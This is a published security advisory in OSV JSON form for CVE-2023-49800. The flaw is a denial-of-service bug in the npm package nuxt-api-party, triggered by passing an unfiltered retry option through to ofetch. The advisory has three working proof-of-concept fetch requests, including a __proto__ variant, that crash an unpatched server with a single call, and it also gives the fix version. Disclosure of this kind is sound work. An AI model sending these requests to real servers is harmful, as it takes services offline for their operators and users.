CVE-2023-49800: Nuxt api party Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-q6hx-3m4p-749h",
  "modified" : "2023-12-11T20:29:10Z",
  "published" : "2023-12-11T20:29:10Z",
  "aliases" : [ "CVE-2023-49800" ],
  "summary" : "DOS by abusing `fetchOptions.retry`. ",
  "details" : "### Summary\n`nuxt-api-party` allows developers to proxy requests to an API without exposing credentials to the client. [`ofetch`](https://github.com/unjs/ofetch) is used to send the requests. \n\nThe library allows the user to send many options directly to `ofetch`. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow.\n\n### Details\n`fetchOptions` [are obtained directly from the request body](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L27). These are then [passed directly into `ofetch`\n](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L57C15-L57C15).\n\nWe can construct a URL we know will not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively. \n\n### PoC\nPOC using Node.\n\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/MyEndpoint\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"x:x\", retry: 9999999 }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can use `__proto__` as a substitute for the endpoint if it is not known.\n\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/__proto__\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"x:x\", retry: 9999999 }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can build the size of the stack faster by using more complicated URIs\n```js\nawait fetch(\"http://localhost:3000/api/__api_party/__proto__\", {\n    method: \"POST\",\n    body: JSON.stringify({ path: \"data:x;base64,----\", retry: 9999999 }),\n    headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\n### Impact\nFull DOS, server is unusable during attack. Requires a single request. \n\n### Fix \nLimit which options can be passed to `ofetch`.\n",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "nuxt-api-party"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.22.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/johannschopplich/nuxt-api-party/security/advisories/GHSA-q6hx-3m4p-749h"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-49800"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/johannschopplich/nuxt-api-party"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-787" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-12-11T20:29:10Z",
    "nvd_published_at" : "2023-12-09T00:15:07Z"
  }
}